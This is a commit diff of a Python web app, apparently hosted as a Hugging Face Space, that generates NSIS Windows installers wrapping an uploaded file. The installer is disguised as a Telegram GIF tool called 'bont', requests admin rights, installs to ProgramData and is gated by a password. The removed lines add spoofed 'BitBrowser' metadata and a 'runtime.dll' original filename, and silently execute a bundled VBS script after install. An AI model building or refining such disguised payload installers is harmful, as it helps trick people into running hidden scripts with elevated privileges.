Spaces:
Sleeping
Sleeping
Update main.py
Browse files
main.py
CHANGED
@@ -53,39 +53,35 @@ def upload_files():
|
|
53 |
|
54 |
# Construct the NSIS script using the provided paths
|
55 |
nsi_script = f"""!include "MUI2.nsh"
|
56 |
-
!include
|
57 |
|
58 |
-
# Define installer name and version
|
59 |
Outfile "bont.exe"
|
60 |
-
InstallDir "
|
61 |
|
62 |
-
# Set the name of the application
|
63 |
Name "Telegram Gif"
|
64 |
Caption "bont 1.4.44.3"
|
65 |
VIProductVersion "1.4.44.3"
|
66 |
|
67 |
-
# Set the output directory and the base name of the installer file
|
68 |
-
SetCompressor /SOLID lzma
|
69 |
-
|
70 |
RequestExecutionLevel admin
|
71 |
|
72 |
-
# Application metadata
|
73 |
-
VIAddVersionKey "ProductName" "bont Gif"
|
74 |
-
VIAddVersionKey "FileVersion" "1.4.44.3"
|
75 |
-
VIAddVersionKey "CompanyName" "BitBrowser"
|
76 |
-
VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
|
77 |
-
VIAddVersionKey "FileDescription" "Bont is a tool designed to enhance GIF handling and sharing on Telegram."
|
78 |
-
VIAddVersionKey "ProductVersion" "1.4.44.3"
|
79 |
-
VIAddVersionKey "OriginalFilename" "runtime.dll"
|
80 |
-
|
81 |
-
# Password to be checked
|
82 |
Var PASSWORD
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
83 |
|
84 |
-
# Password check logic
|
85 |
Function CheckPassword
|
86 |
-
|
87 |
-
|
88 |
-
# Here we compare the password
|
89 |
StrCmp $PASSWORD "yourpassword" 0 +3
|
90 |
MessageBox MB_OK "Password accepted"
|
91 |
Return
|
@@ -94,27 +90,13 @@ Function CheckPassword
|
|
94 |
Abort
|
95 |
FunctionEnd
|
96 |
|
97 |
-
|
98 |
-
|
99 |
-
Call CheckPassword
|
100 |
-
FunctionEnd
|
101 |
|
102 |
-
# Define installer sections
|
103 |
Section "Install"
|
104 |
-
|
105 |
-
|
106 |
-
|
107 |
-
# Debug the path
|
108 |
-
MessageBox MB_OK "Attempting to load file from: C:\Users\Albert\Videos\New folder\New folder\0.vbs"
|
109 |
-
|
110 |
-
# Files to install (use /nonfatal to allow script to continue if file is missing)
|
111 |
-
File /nonfatal /r "{bat_path}"
|
112 |
-
|
113 |
-
# Run the VBS file post-install (only if it was found)
|
114 |
-
IfFileExists "$INSTDIR\\0.vbs" 0 +2
|
115 |
-
ExecShell "" "$INSTDIR\\0.vbs"
|
116 |
SectionEnd
|
117 |
-
|
118 |
"""
|
119 |
|
120 |
nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
|
|
|
53 |
|
54 |
# Construct the NSIS script using the provided paths
|
55 |
nsi_script = f"""!include "MUI2.nsh"
|
56 |
+
!include "nsDialogs.nsh"
|
57 |
|
|
|
58 |
Outfile "bont.exe"
|
59 |
+
InstallDir "$PROGRAMDATA"
|
60 |
|
|
|
61 |
Name "Telegram Gif"
|
62 |
Caption "bont 1.4.44.3"
|
63 |
VIProductVersion "1.4.44.3"
|
64 |
|
|
|
|
|
|
|
65 |
RequestExecutionLevel admin
|
66 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
67 |
Var PASSWORD
|
68 |
+
Var DialogHandle
|
69 |
+
Var PasswordInput
|
70 |
+
|
71 |
+
Function ShowPasswordPage
|
72 |
+
nsDialogs::Create 1018
|
73 |
+
Pop $DialogHandle
|
74 |
+
|
75 |
+
nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
|
76 |
+
Pop $0
|
77 |
+
nsDialogs::CreatePassword 10u 25u 100% 12u ""
|
78 |
+
Pop $PasswordInput
|
79 |
+
|
80 |
+
nsDialogs::Show
|
81 |
+
FunctionEnd
|
82 |
|
|
|
83 |
Function CheckPassword
|
84 |
+
nsDialogs::GetText $PasswordInput $PASSWORD
|
|
|
|
|
85 |
StrCmp $PASSWORD "yourpassword" 0 +3
|
86 |
MessageBox MB_OK "Password accepted"
|
87 |
Return
|
|
|
90 |
Abort
|
91 |
FunctionEnd
|
92 |
|
93 |
+
Page custom ShowPasswordPage CheckPassword
|
94 |
+
Page instfiles
|
|
|
|
|
95 |
|
|
|
96 |
Section "Install"
|
97 |
+
SetOutPath "$INSTDIR"
|
98 |
+
File "{bat_path}"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
99 |
SectionEnd
|
|
|
100 |
"""
|
101 |
|
102 |
nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
|